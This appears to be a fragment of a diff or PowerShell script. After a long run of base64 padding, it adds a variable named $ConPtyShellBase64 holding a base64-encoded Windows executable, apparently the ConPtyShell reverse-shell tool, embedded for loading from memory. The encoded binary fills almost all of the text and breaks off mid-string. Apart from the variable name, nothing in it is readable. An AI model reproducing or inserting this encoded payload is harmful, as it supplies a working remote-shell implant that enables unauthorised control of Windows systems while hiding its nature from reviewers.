AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
+ $ConPtyShellBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABSePWAAAAAAAAAAAOAAAgELAQgAAHAAAAAgAAAAAAAA/n8AAAAgAAAAoAAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAAAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALB/AABLAAAAAKAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABGAAAAAgAAAAcAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAoAAAABAAAACAAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAMAAAAAQAAAAkAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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